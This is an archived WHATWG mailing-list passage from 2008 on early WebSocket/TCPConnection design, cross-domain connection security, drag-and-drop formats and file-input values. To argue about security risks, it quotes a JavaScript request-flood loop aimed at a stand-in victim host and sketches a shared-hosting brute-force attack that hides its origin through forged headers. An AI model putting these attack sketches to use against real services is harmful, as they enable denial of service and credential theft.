>>> Thanks,
>>>      Adele
>>>
>>
>>
>>
>> --
>> Best regards / Med vennlig hilsen
>> Frode B?rli
>> Seria.no
>>
>> Mobile:
>> +47 406 16 637
>> Company:
>> +47 216 90 000
>> Fax:
>> +47 216 91 000
>>
>>
>> Think about the environment. Do not print this e-mail unless you really
>> need to.
>>
>> Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.
>
>



-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From frode at seria.no  Thu Jun 19 16:59:53 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Fri, 20 Jun 2008 01:59:53 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <24f9a1ba0806191532k5970fbey54654a343c800199@mail.gmail.com>
References: <mailman.10554.1213824710.2753.whatwg-whatwg.org@lists.whatwg.org>
	<4859B9CB.40607@arc.net.au>
	<24f9a1ba0806191101h13291792wded6d16560fec632@mail.gmail.com>
	<31fb000f0806191454l1bf82bc1gf9d48738d66e5762@mail.gmail.com>
	<24f9a1ba0806191532k5970fbey54654a343c800199@mail.gmail.com>
Message-ID: <31fb000f0806191659k577a18cejbca8f9ef94fc3bc0@mail.gmail.com>

>> I think we should have both a pure TCPSocket, and also a ServerSocket
>> that keeps the same connection as the original document was downloaded
>> from. The ServerSocket will make it very easy for web developers to
>> work with, since the ServerSocket object will be available both from
>> the server side and the client side while the page is being generated.
>> I am posting a separate proposal that describes my idea soon.
>
> I don't see the benefit of making sure that its the same connection that the
> page was "generated" from.

It does not have to be exactly the same connection, but I think it
should be handled by the web server because then there is no need to
think about transferring state information between for example a PHP
script and a WebSocketServer. It would be almost like creating a
desktop application. Simply because it would be easy for
webdevelopers: Sample PHP script:

There is probably a better approach to implementing this in php, but
its just a concept:
----
   <input id='test' type='button'>";
   <script type='text/javascript'>
      // when the button is clicked, raise the test_click event
handler on the server.
      document.getElementById('test').addEventListener('click',
document.serverSocket.createEventHandler('test_click');
      // when the server raises the "message" event, alert the message
      document.serverSocket.addEventListener('message', alert);
   </script>
<?php
// magic PHP method that is called whenever a client side event is
sent to the server
function __serverSocketEvent($name, $event)
{
    if($name == 'test_click')
       server_socket_event("message", "You clicked the button");
}
?>
 ----

>  If you establish a Connection: Keep-Alive with the proxy server, it will
> leave the connection open to you, but that doesn't mean that it will leave
> the connection open to the back end server as the Connection header is a
> single-hop header.

So it is not possible at all? There are no mechanisms in HTTP and
proxy servers that facilitates keeping the connection alive all the
way trough to the web server?


If a Session ID (or perhaps a Request ID) is added to the headers then
it is possible to create server side logic that makes it easier for
web developers. When session ids are sent trough cookies, web servers
and proxy servers have no way to identiy a session (since only the
script knows which cookie is the session id). The SessionID header
could be used by load balancers and more - and it could also be used
by for example IIS/Apache to connect a secondary socket to the script
that created the page (and ultimately achieving what I want).

>> The script on the server decides if the connection should be closed or
>> kept open. (Protection against DDOS attacks)
> With the proposed spec, the server can close the connection at any point.
I stated it as a benefit in the context of the web server handling the
requests. An image would close the connection immediately, but a
script could decide to keep it open. All servers can ofcourse close
any connection any time.

>> This allows implementing server side listening to client side events,
>> and vice versa. If this works, then the XMLHttpRequest object could be
>> updated to allow two way communications in exactly the same way.
>
> The previously proposed protocol already allows the server side listening to
> client side events, and vice versa. Rather or not to put that in the
> XMLHttpRequest interface is another issue. I think making XHR bi-directional
> is a bad idea because its confusing. Better to use a brand new api, like
> WebSocket.

If the implementation works as I tried to examplify in the PHP script
above; a document.serverSocket object is available, then the xhr
object should also have a .serverSocket object.

document.serverSocket.addEventListener(...)
xhr.serverSocket.addEventListener(...)

I am sure this can be achieved regardless of the protocol.

>> Also, by adding a SessionID header sent from the client (instead of
>> storing session ids in cookies), the web server could transparently
>> rematch any client with its corresponding server side process in case
>> of disconnect.
> Isn't that what cookies are supposed to do?  Regardless, it sounds like an
> application-level concern that should be layered on top of the protocol.

One important advantage is that javascript.cookie can be used for
hijacking sessions by sending the cookie trough for example an
img-tag. If javascript can't access the SessionID then sessions cant
be hijacked through XSS attacks.

Also I think load balancers and web servers and other applications
that do not have intimate knowledge about the web application should
be able to pair WebSocket connections with the actual http request.
How else can load balancers be created if they have to load balance
both pages and websockets to the same webserver? The load balancer
does not know what part of the cookie identifies the session.

I am sure that some clever people will find other uses if the session
id and request id is available for each request made from a script.

>> The HTTP spec has these features already:
>>
>> 1: Header: Connection: Keep-Alive
>> 2: Status: HTTP 101 Switching Protocol
>>
>> No need to rewrite the HTTP spec at all probably.
> You can't use HTTP 101 Switching Protocols without a Connection: Upgrade
> header. I think you'll note that the proposal that started this thread uses
> just this combination.

The HTTP 101 Switching Protocols can be sent by the server, without
the client asking for a protocol change. The only requirement is that
the server sends 426 Upgrade Required first, then specifies which
protocol to switch to. The protocol switched to could possibly be the
one proposed in the beginning of this thread.

The new protocol should be based on this:
http://tools.ietf.org/id/draft-burdis-http-sasl-00.txt

It is essentially the same, except we are upgrading to a two way
protocol, instead of an HTTPS protocol.

>> TCPConnections are only allowed to the server where the script was
>> downloaded from (same as Flash and Java applets). A DNS TXT record can
>> create a white list of servers whose scripts can connect. Also the
>> TCPConnection possibly should be allowed to connect to local network
>> resources, after a security warning - but only if the server has a
>> proper HTTPS certificate.
> How would a DNS TXT record solve the problem? I  could register evil.com and
> point it at an arbitrary ip address and claim that anyone who wants to can
> connect.

Doh, ofcourse! :) So I am going back to my first suggestion - the
server with the script must have a certificate as well. The script
must be signed with a private key, and the DNS server must have the
public key.

>> With the security measures I suggest above, there is no need for
>> protection against brute force attacks. Most developers only use one
>> server per site, and those that have multiple servers will certainly
>> be able to add a TXT-record to the DNS.
> I don't actually understand which part of the specification you want to
> change aside from doing the access control in a DNS TXT record instead of
> the protocol.

I care more about how it works for the developer than how the protocol
itself is implemented. I think maybe the protocol should be discussed
with others or have its own WG.

Summarizing what I want as a web developer:

The script that generates the page should be able to communicate with
the page it generated. The page should also be able to connect to a
separate script, if the web developer thinks that it is important.

Reasons:

1. Simplicity for developers.
2. No need to propagate state information between applications than
handles sockets and applications that generate the page.
3. It is more similar to a standard desktop application.
4. Resources opened by the script that created page, can be kept open
(file locking etc).


From robert at ocallahan.org  Thu Jun 19 18:07:07 2008
From: robert at ocallahan.org (Robert O'Callahan)
Date: Fri, 20 Jun 2008 13:07:07 +1200
Subject: [whatwg] more drag/drop feedback
In-Reply-To: <a9699fd20806181431m164eeaf2l1e49d2a6774d9da7@mail.gmail.com>
References: <48591FBC.4080902@gmail.com>
	<a9699fd20806181431m164eeaf2l1e49d2a6774d9da7@mail.gmail.com>
Message-ID: <11e306600806191807x72dcc81o97800b4dce83a4cb@mail.gmail.com>

On Thu, Jun 19, 2008 at 9:31 AM, Thomas Broyer <t.broyer at gmail.com> wrote:

> On Wed, Jun 18, 2008 at 4:46 PM, Neil Deakin wrote:
> > We have a need to be able to support both dragging multiple items, as
> well
> > as dragging non-string data, for instance dragging a set of files as a
> set
> > of File objects (see http://www.w3.org/TR/file-upload/) from the file
> system
> > onto a page.
>
> That would be new data formats.
> That's how Adobe AIR solved the problem. They added a Bitmap and File
> list data formats, for which getData returns AIR-specific objets (a
> BitmapData and an array of File objects respectively)
>
> http://help.adobe.com/en_US/AIR/1.1/jslr/flash/desktop/ClipboardFormats.html
> http://livedocs.adobe.com/air/1/devappshtml/DragAndDrop_2.html#1048911


Creating a new data format for each kind of collection seems suboptimal. And
it breaks completely if you want heterogeneous collections.

Rob
-- 
"He was pierced for our transgressions, he was crushed for our iniquities;
the punishment that brought us peace was upon him, and by his wounds we are
healed. We all, like sheep, have gone astray, each of us has turned to his
own way; and the LORD has laid on him the iniquity of us all." [Isaiah
53:5-6]
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080620/15052373/attachment-0001.htm>

From shannon at arc.net.au  Fri Jun 20 01:26:29 2008
From: shannon at arc.net.au (Shannon)
Date: Fri, 20 Jun 2008 18:26:29 +1000
Subject: [whatwg] TCPConnection feedback
Message-ID: <485B69B5.9070007@arc.net.au>



From: "Michael Carter" <michael.carter at kaazing.com>
Subject: Re: [whatwg] TCPConnection feedback
To: whatwg at whatwg.org
Message-ID:
	<24f9a1ba0806191101h13291792wded6d16560fec632 at mail.gmail.com>
Content-Type: text/plain; charset="iso-8859-1"

> I fail to see how virtual hosting will work for this anyway. I mean we're
>> not talking about Apache/IIS here, we're talking about custom applications,
>> scripts or devices - possibly implemented in firmware or "a few lines of
>> perl". Adding vhost control to the protocol is just silly since the
>> webserver won't ever see the request and the customer application should be
>> able to use any method it likes to differentiate its services. Even URI
>> addressing is silly since again the application may have no concept of
>> "paths" or "queries". It is simply a service running on a port. The only
>> valid use case for all this added complexity is proxying but nobody has
>> tested yet whether proxies will handle this (short of enabling encryption,
>> and even that is untested).
>>
> 
> Actually, I've already tested this protocol against some typical forward
> proxy setups and it hasn't caused any problems so far.


Can you elaborate on what you mean by tested? Are you saying you've performed non-TLS, persistent, asynchronous 
communication through a proxy + Apache/IIS or proxy + custom application?


>>
>> I'm thinking here that this proposal is basically rewriting the CGI
>> protocol (web server handing off managed request to custom scripts) with the
>> ONLY difference being the asynchronous nature of the request. Perhaps more
>> consideration might be given to how the CGI/HTTP protocols might be updated
>> to allow async communication.
>>
> 
> Rewriting the HTTP spec is not feasible and I'm not even convinced its a
> good idea. HTTP has always been request/response so it would make a lot more
> sense to simply use a new protocol then confuse millions of
> developers/administrators who thought they understood HTTP.

As pointed out by others HTTP can preform asynchronously and persistently under certain circumstances (ie TLS 
handshake). Microsoft describe the process here: http://msdn.microsoft.com/en-us/library/aa380513(VS.85).aspx

This appears to be bi-directional communication so we can probably assume that proxies and servers supporting TLS could 
be made to support other async processes. Also taking into consideration what others have said regarding keep-alive and 
protocol switching it would seem that we are looking at a fairly trivial problem as far as HTTP is concerned. My 
recommendation is probably less relevant to HTTP than it is to CGI.

Currently CGI has the web server offload a bunch of environment variables that the CGI script decodes. What's missing 
then is a way to pass the whole socket off to the script. The Fast CGI protocol is closer to the mark. Wikipedia says: 
"Environment information and page requests are sent from the web server to the process over a TCP connection (for remote 
processes) or Unix domain sockets (for local processes). Responses are returned from the process to the web server over 
the same connection. The connection may be closed at the end of a response, but the web server and the process are left 
standing."

So Fast CGI achieves all the main goals for WebSocket (proxy support, virtual hosting, ssl support) using existing 
access control rules and configs that ISPs are familiar with. The only thing that is not supported is persistent 
bi-directional communication (at least I have found nothing to indicate this). However based on the description above 
the only limiting factor seems to be an assumption that all links in the chain close the connection after the initial 
server response (making it bi-directional but not persistent). It also isn't strictly asynchronous since the client and 
server apparently cannot send/receive simultaneously.

I propose a new protocol called Asynchrous CGI that extends Fast CGI to support asynchonous and persistent channels 
rather than the creation of an entirely new WebSockets protocol from scratch.

>>
>> Having said that I still see a very strong use case for low-level
>> client-side TCP and UDP. There are ways to manage the security risks that
>> require further investigation. Even if it must be kept same-domain that is
>> better than creating a new protocol that won't work with existing services.
>> Even if that sounds like a feature - it isn't. There are better ways to
>> handle access-control for non-WebConnection devices than sending garbage to
>> the port.
>>
> 
> If we put the access control in anything but the protocol it means that we
> are relying on an external service for security, so it would have to be
> something that is completely locked down. I don't really see what the
> mechanism would be. Can you propose a method for doing this so as to allow
> raw tcp connections without security complications?


I don't understand your point. Existing services use firewalls, authentication, host-allow, etc as appropriate. The only 
new issue TCPConnection or WebConnection introduce is the concept of an "non-user-initiated connection". In other words 
a remote untrusted server causing the local machine to make a connection without an explicit user action (such as 
checking mail in Outlook). I believe the proposed DNS extension combined with some form of explicit user-initiated 
priviledge elevation reduce the two main threats: DDOS and browser-based brute-force attacks.


>> How would WebSocket connections be more harmful than something like
>>
>> setInterval(function(){
>>   var img = new Image();
>>   img.src = "http://victim.example.com/" <http://victim.example.com/> + generateLongRandomString();
>> }, 1000);
>>
>> for example would?
>>
>>  It's more harmful because an img tag (to my knowledge) cannot be used to
>> brute-force access, whereas a socket connection could. With the focus on
>> DDOS it is important to remember that these sockets will enable full
>> read/write access to arbitrary services whereas existing methods can only
>> write once per connection and generally not do anything useful with the
>> response.
>>
> 
> What do you mean by brute-force access, and how could the proposed protocol
> be used to do it. Can you provide an example?
> 
> Also, the proposed protocol will do a single HTTP request, just like the img
> tag, and the response be hidden from the attacker if it wasn't the right
> response. From a potential attacker's point of view, this is a write once
> per connection where the only control they have over the request is the
> value of the url. Attacking with this protocol is identical to attacking
> with an image tag in every way that I can think of.

I already have already provided two examples in previous posts but to reiterate quickly this protocol as currently 
described can be manipulated to allow a full challenge-response process. This means I can make every visitors browser 
continually attempt username/password combinations against a service, detect when access is granted, and continue to 
send commands following the handshake. IMG and FORM allow at most a single single request to be sent before closing the 
connection and generally return the data in a form that cannot be inspected inside javascript. I have shown that by 
injecting a custom URI into the handshake I can theoretically force a valid server response to trick the browser into 
keeping the connection open for the purpose of DDOS or additional attacks. The difference is not in the ability to DDOS, 
it's in the ability to maintain a connection in the presense of a server challenge, despite WebSockets proposed 
safeguards (keeping in mind these proposed safeguards render the protocol useless for accessing legacy devices).


Shannon

PS (to list): Sorry if this post generates yet another thread. Thunderbird keeps truncating my replies in a way that 
seems to invalidate the thread history. I might need to shift to a proper newsreader.


From frode at seria.no  Fri Jun 20 04:19:52 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Fri, 20 Jun 2008 13:19:52 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <485B69B5.9070007@arc.net.au>
References: <485B69B5.9070007@arc.net.au>
Message-ID: <31fb000f0806200419m6aae0708je2bfd7acb2ba9cfb@mail.gmail.com>

>> Rewriting the HTTP spec is not feasible and I'm not even convinced its a
>> good idea. HTTP has always been request/response so it would make a lot
>> more
>> sense to simply use a new protocol then confuse millions of
>> developers/administrators who thought they understood HTTP.
> As pointed out by others HTTP can preform asynchronously and persistently
> under certain circumstances (ie TLS handshake). Microsoft describe the
> process here: http://msdn.microsoft.com/en-us/library/aa380513(VS.85).aspx

I think this will be a far better solution than opening a second
communication channel to the server (ref my other posts).

> Currently CGI has the web server offload a bunch of environment variables
> that the CGI script decodes. What's missing then is a way to pass the whole
> socket off to the script. The Fast CGI protocol is closer to the mark.
> Wikipedia says: "Environment information and page requests are sent from the
> web server to the process over a TCP connection (for remote processes) or
> Unix domain sockets (for local processes). Responses are returned from the
> process to the web server over the same connection. The connection may be
> closed at the end of a response, but the web server and the process are left
> standing."

Also, it is quite common with modules linked directly with the server
(ISAPI and Apache modules). For CGI (not FastCGI) i assume some inter
process communication would have to be defined - but I do not think
this forum should think about that, it is inevitable that changes must
be done somewhere on the server side if we want to achieve two way
communication with the same script that initially generated the page.

> So Fast CGI achieves all the main goals for WebSocket (proxy support,
> virtual hosting, ssl support) using existing access control rules and
> configs that ISPs are familiar with. The only thing that is not supported is
> persistent bi-directional communication (at least I have found nothing to
> indicate this). However based on the description above the only limiting
> factor seems to be an assumption that all links in the chain close the
> connection after the initial server response (making it bi-directional but
> not persistent). It also isn't strictly asynchronous since the client and
> server apparently cannot send/receive simultaneously.

I do not believe that proxies enforce rules regarding who is able to
send data over the channel, therefore I do not believe asynchronous
communications will be a problem - even though nothing indicates it
being done today.

> I propose a new protocol called Asynchrous CGI that extends Fast CGI to
> support asynchonous and persistent channels rather than the creation of an
> entirely new WebSockets protocol from scratch.

The name implies that this is a server side protocol, used between the
web server and the web application - so I believe that the name should
be something like WebSocket still. Server side, there are multiple
alternative interfaces to CGI (ISAPI, NSAPI, Apache modules etc). I
believe support for WebSocket should be an issue between the web
browser and the web server, and we should not consider what happens on
the server side. A new working group could start working on extending
FastCGI, but server side support will quickly be developed by those
server providers wanting to support it. I assume a new working group
will have to be created for extending FastCGI.

>> If we put the access control in anything but the protocol it means that we
>> are relying on an external service for security, so it would have to be
>> something that is completely locked down. I don't really see what the
>> mechanism would be. Can you propose a method for doing this so as to allow
>> raw tcp connections without security complications?

> I don't understand your point. Existing services use firewalls,
> authentication, host-allow, etc as appropriate. The only new issue
> TCPConnection or WebConnection introduce is the concept of an
> "non-user-initiated connection". In other words a remote untrusted server
> causing the local machine to make a connection without an explicit user
> action (such as checking mail in Outlook). I believe the proposed DNS
> extension combined with some form of explicit user-initiated priviledge
> elevation reduce the two main threats: DDOS and browser-based brute-force
> attacks.

Michael informed me about a problem with my DNS extension proposal,
and that is that anybody can register a domain called "evil.com" and
add the required TXT records and point the domain to the target
server.

I think the DNS extension can still be used, but it has to involve
reverse lookup on the target IP-address. The reverse lookup returns a
host name, which must be queried for TXT-records that specify hosts
that can have scripts allowed to connect.

Does anybody have any views on this?

>> What do you mean by brute-force access, and how could the proposed
>> protocol
*snip*
> I already have already provided two examples in previous posts but to
*snip*

This is not an issue, regardless of protocol - if the Reverse DNS
suggestion (above) is used for security - right?

-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From frode at seria.no  Fri Jun 20 04:52:21 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Fri, 20 Jun 2008 13:52:21 +0200
Subject: [whatwg] Proposal for cross domain security framework
Message-ID: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>

I have a proposal for a cross domain security framework that i think
should be implemented in browsers, java applets, flash applets and
more.

The problem:
If browsers could connect freely to whichever IP-address they want,
then a simple ad on a highly popular website can be used to trigger
massive DDOS attacks or distributed brute force password attacks etc.

The challenge:
The owner of the server that receives incoming connections must be
able to decide who is able to connect.

The tools available:
The browser. The server. DNS servers.

The method:
The browser always know where it downloaded any given script or
applet. It also know which IP-address or host-name the script wants to
connect to. The browser should perform the following check to make
sure that the given script is allowed to connect:

1. Browser downloads a script from server A.
2. Script tries to connect to server B.
3. Browser looks up server B's IP-address.
4. Browser performs a reverse lookup of server B's IP-address and gets
a host name for the server.
5. Browser looks up a special TXT record in the DNS record for Server
B, which states each of the IP addresses/host names that can hosts
scripts allowed to connect.

DNS records are cached multiple places (including at the local
computer), so a DDOS attack attempting to take down DNS servers
probably not succeed.


What do you think?


Best regards,
Frode B?rli
Seria AS, Norway

From adrian.sutton at ephox.com  Fri Jun 20 05:11:57 2008
From: adrian.sutton at ephox.com (Adrian Sutton)
Date: Fri, 20 Jun 2008 13:11:57 +0100
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
Message-ID: <C4815D1D.5810%adrian.sutton@ephox.com>

> The tools available:
The browser. The server. DNS servers.

Actually, DNS servers, particularly for reverse DNS lookups, are out of the
control of a huge number of authors on the web. Shared hosting accounts for
instance don't have a unique reverse IP look up. There are also plenty of
people who don't control their DNS at all for whatever reason.

Regards,

Adrian Sutton.
______________________
Adrian Sutton, CTO
UK: +44 1 753 27 2229  US: +1 (650) 292 9659 x717
Ephox <http://www.ephox.com/>
Ephox Blogs <http://planet.ephox.com/>, Personal Blog
<http://www.symphonious.net/>



From phil127 at gmail.com  Fri Jun 20 05:51:38 2008
From: phil127 at gmail.com (Philipp Serafin)
Date: Fri, 20 Jun 2008 14:51:38 +0200
Subject: [whatwg]  TCPConnection feedback
In-Reply-To: <f042876c0806200550t6b3cf61dvebf77e273da2895d@mail.gmail.com>
References: <485B69B5.9070007@arc.net.au>
	<31fb000f0806200419m6aae0708je2bfd7acb2ba9cfb@mail.gmail.com>
	<f042876c0806200550t6b3cf61dvebf77e273da2895d@mail.gmail.com>
Message-ID: <f042876c0806200551j1db35971xaaafedd2fb1708ef@mail.gmail.com>

On Fri, Jun 20, 2008 at 1:19 PM, Frode B?rli <frode at seria.no> wrote:
> I think this will be a far better solution than opening a second
> communication channel to the server (ref my other posts).

Would that be so much of  a problem though? Your web application opens
multiple connections today already, so you can not be sure that
requests that belong to the same session all come on the same HTTP
connection. If you have a proxy inbetween, I'd imagine you can't even
be sure that requests on the same connection belong to the same user.

The HTTP handshake would most likely send the cookies though, so it
shouldn't be that difficult to associate your persistent connection
with an existing session.
If you don't want to rely on cookies, you could always make your own
session tracking mechanism on top of this protocol using JS.

I think if persistent connections are supported broadly, this could
also be the start of a new design pattern, where you use HTTP only to
serve static resources and do all dynamic stuff through a single
persistent connection. Such applications wouldn't need any session
information outside the connection at all.
Of course it would be up to the web author how he designs his
application. It's just a thought.

However, if it's still desired, maybe we could add it as an additional
option in HTML instead of HTTP?
Idea: Add an additional HTML element. If it is present, the browser
will not close the connection after it downloaded the document, but
instead send an OPTIONS <uri> Upgrade: ... request and present and
give the page's scripts access to a default WebSocket object that
represents this connection.

On Fri, Jun 20, 2008 at 10:26 AM, Shannon <shannon at arc.net.au> wrote:
> I don't understand your point. Existing services use firewalls,
> authentication, host-allow, etc as appropriate. The only new issue
> TCPConnection or WebConnection introduce is the concept of an
> "non-user-initiated connection". In other words a remote untrusted server
> causing the local machine to make a connection without an explicit user
> action (such as checking mail in Outlook). I believe the proposed DNS
> extension combined with some form of explicit user-initiated priviledge
> elevation reduce the two main threats: DDOS and browser-based brute-force
> attacks.

On Fri, Jun 20, 2008 at 1:52 PM, Frode B?rli <frode at seria.no> wrote:
> I have a proposal for a cross domain security framework that i think
> should be implemented in browsers, java applets, flash applets and
> more.

If we use any kind of verification that happens outside the
connections, we should at least a hint inside the connection, which
host the browser wants to connect though. I think raw TCP connections
would cause major security holes with shared hosts, even if
cross-domain connections need a DNS record.
Consider the following scenario:

Bob and Eve have bought space on a run-of-the-mill XAMPP web hoster.
They have different domains but happen to be on the same IP. Now Eve
wants do bruteforce Bob's password-protected web application. So she
adds a script to her relatively popular site that does the following:

1) Open a TCP connection to her own domain on port 80. As far as the
browser is concerned, both origin and IP adress match the site one's,
so no cross domain checks are performed.

2) Forge HTTP requests on that connection with Bob's site in the Host
header and bruteforce the password. The Browser can't do anything
about this, because it treats the TCP connection as opaque. The
firewall just sees a legitimate HTTP request on a legitimate port.

If Bob checks his logs, he will see requests from IPs all oer the
world. Because Eve has control about the Referrer and
Access-Control-Origin headers, there is no trace that leads back to
her. She might even have send the headers with forged values to shift
suspicion to another site.

Note that the web hoster doesn't need to support WebSocket server side
in any way for this to work.
We could strengthen the security requirements, so that even
same-domain requests need permission. However, then we had about the
same hole as soon as the web host updates its services and gives Eve
permission to access "her own" site.

>> Access-Control: allow <*> exclude <evilsite.example.com>
>> Access-Control-Max-Age: 86400
>> Access-Control-Policy-Path: /
>>
>
> I think the idea is good, but I do not like the exact implementation.
> I think the server should be able to see which script is initiating
> the connection (header sent from the client), and then the server can
> respond with a HTTP 401 Access Denied. No need to specify anything
> more. No need to specify which hosts that are allowed, since the
> script can decide that on a number of parameters (like IP-address
> etc).

(Sorry for the late reply, I had a few technical problems)

I think the Access-Control-Origin header is exactly what you are
looking for: <http://www.w3.org/TR/access-control/#access-control-origin0>
This would be sent by the client as a part of the "Access Control checks".

The idea of the client-side verification was that the server would
only need as little processing per request as possible. In case of a
DDOS, it could more or less "blindly" send back the headers without
any need to first look up the client's origin in a black/whitelist. In
extreme cases, it wouldn't need to parse the client's request at all.

Because both, Access-Control-Origin and Access-Control: allow... would
be used, web authors could choose between both strategies and decide
which one suits best for their setup.


From lachlan.hunt at lachy.id.au  Fri Jun 20 06:44:01 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Fri, 20 Jun 2008 15:44:01 +0200
Subject: [whatwg] What should the value attribute be for multi-file
 upload controls in WF2?
In-Reply-To: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
Message-ID: <485BB421.4090803@lachy.id.au>

Adele Peterson wrote:
> I'm looking at the Web Forms 2 specification for the multi-file 
> upload control that uses the min/max attributes.  When multiple files 
> are selected, its unclear what the value attribute should contain.

Assuming you're referring to the value DOM attribute, not the value="" 
content attribute, It seems to be unclear what the value should contain 
even when there's only a single file selected.

I did some testing to see what each returned.  All tests use this markup 
to obtain the value, using the Live DOM Viewer:

<!DOCTYPE html>
<input type="file" id="test" size=100>
<input type=button onclick="w(document.getElementById('test').value);" 
value="Read Value...">

http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0D%0A%3Cinput%20type%3D%22file%22%20id%3D%22test%22%20size%3D100%3E%0D%0A%3Cinput%20type%3Dbutton%20onclick%3D%22w(document.getElementById('test').value)%3B%22%20value%3D%22Read%20Value...%22%3E

In each one, I selected a file named test.txt from within my home or My 
Documents directory.  These are the vaules returned in each browser:

Windows browsers:
IE 8:         test.txt
IE 7 mode:    test.txt
Firefox 2:    D:\My Documents\test.txt
Firefox 3:    test.txt
Opera 9.5:    C:\fake_path\test.txt
Safari 3.1.1: D:\My Documents\test.txt

Mac browsers:
Firefox 3:    test.txt
Opera 9.5:    C:\fake_path\test.txt
Safari 4 (Developer Preview): /Users/lachlanhunt/test.txt

> It could contain just the first filename, or a comma separated list 
> of all of the filenames.  I think it will be useful though to add 
> something about this in the specification for consistency.

Opera 9.5 supports multiple file selection when a max="" attribute is 
set to a value greater than 1.  It currently only returns the fake path 
of the first file, as shown above.  However, the control displays to the 
user the real paths of all files selected as quoted strings separated by 
semi-colons. e.g.

"/Users/lachlanhunt/test.txt";"/Users/lachlanhunt/other.txt"

Since Both Firefox 3 and IE 8 only return the file name, and Opera 9.5 
refuses to return the real path anyway, maybe we should define that when 
there's only a single file selected, it returns just the file name. When 
there are multiple files selected, would a string containing the file 
names, each surrounded by quotes and separated by semi-colons work?

e.g. "test.txt";"other.txt"

There's a small problem with that too, because we would need a way to 
handle file names that contained quote marks, which is possible on Mac 
and Linux, but not on Windows.

But it really depends what use cases we need to address.  Do authors 
ever actually obtain the file name using JavaScript for anything?  If 
so, what for?  With multiple file selection, is it likely they would 
want to inspect each individual file name for anything, in which case, 
should we find a way to make it easier to obtain individual file names?

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From joao.eiras at gmail.com  Fri Jun 20 07:20:10 2008
From: joao.eiras at gmail.com (=?ISO-8859-1?Q?Jo=E3o_Eiras?=)
Date: Fri, 20 Jun 2008 15:20:10 +0100
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <485BB421.4090803@lachy.id.au>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
Message-ID: <e72b1b360806200720q3e032773tfc15c06558e8313d@mail.gmail.com>

Hi

> There's a small problem with that too, because we would need a way to handle file names
> that contained quote marks, which is possible on Mac and Linux, but not on Windows.

Not only that, but in unix flavours, paths are separated with : while
in windows they're separated with ;
In *nix special char are escaped with \ while in windows \ separates
directories in paths.
So IMO, it won't be possible to com up with a solution that is cross
platform without making up something completly new.
I'd suggest for HTMLInputElement to have a .files or .paths property
which would be an array of all the files choosen, names only.


On Fri, Jun 20, 2008 at 2:44 PM, Lachlan Hunt <lachlan.hunt at lachy.id.au> wrote:
> Adele Peterson wrote:
>>
>> I'm looking at the Web Forms 2 specification for the multi-file upload
>> control that uses the min/max attributes.  When multiple files are selected,
>> its unclear what the value attribute should contain.
>
> Assuming you're referring to the value DOM attribute, not the value=""
> content attribute, It seems to be unclear what the value should contain even
> when there's only a single file selected.
>
> I did some testing to see what each returned.  All tests use this markup to
> obtain the value, using the Live DOM Viewer:
>
> <!DOCTYPE html>
> <input type="file" id="test" size=100>
> <input type=button onclick="w(document.getElementById('test').value);"
> value="Read Value...">
>
> http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0D%0A%3Cinput%20type%3D%22file%22%20id%3D%22test%22%20size%3D100%3E%0D%0A%3Cinput%20type%3Dbutton%20onclick%3D%22w(document.getElementById('test').value)%3B%22%20value%3D%22Read%20Value...%22%3E
>
> In each one, I selected a file named test.txt from within my home or My
> Documents directory.  These are the vaules returned in each browser:
>
> Windows browsers:
> IE 8:         test.txt
> IE 7 mode:    test.txt
> Firefox 2:    D:\My Documents\test.txt
> Firefox 3:    test.txt
> Opera 9.5:    C:\fake_path\test.txt
> Safari 3.1.1: D:\My Documents\test.txt
>
> Mac browsers:
> Firefox 3:    test.txt
> Opera 9.5:    C:\fake_path\test.txt
> Safari 4 (Developer Preview): /Users/lachlanhunt/test.txt
>
>> It could contain just the first filename, or a comma separated list of all
>> of the filenames.  I think it will be useful though to add something about
>> this in the specification for consistency.
>
> Opera 9.5 supports multiple file selection when a max="" attribute is set to
> a value greater than 1.  It currently only returns the fake path of the
> first file, as shown above.  However, the control displays to the user the
> real paths of all files selected as quoted strings separated by semi-colons.
> e.g.
>
> "/Users/lachlanhunt/test.txt";"/Users/lachlanhunt/other.txt"
>
> Since Both Firefox 3 and IE 8 only return the file name, and Opera 9.5
> refuses to return the real path anyway, maybe we should define that when
> there's only a single file selected, it returns just the file name. When
> there are multiple files selected, would a string containing the file names,
> each surrounded by quotes and separated by semi-colons work?
>
> e.g. "test.txt";"other.txt"
>
> There's a small problem with that too, because we would need a way to handle
> file names that contained quote marks, which is possible on Mac and Linux,
> but not on Windows.
>
> But it really depends what use cases we need to address.  Do authors ever
> actually obtain the file name using JavaScript for anything?  If so, what
> for?  With multiple file selection, is it likely they would want to inspect
> each individual file name for anything, in which case, should we find a way
> to make it easier to obtain individual file names?
>
> --
> Lachlan Hunt - Opera Software
> http://lachy.id.au/
> http://www.opera.com/
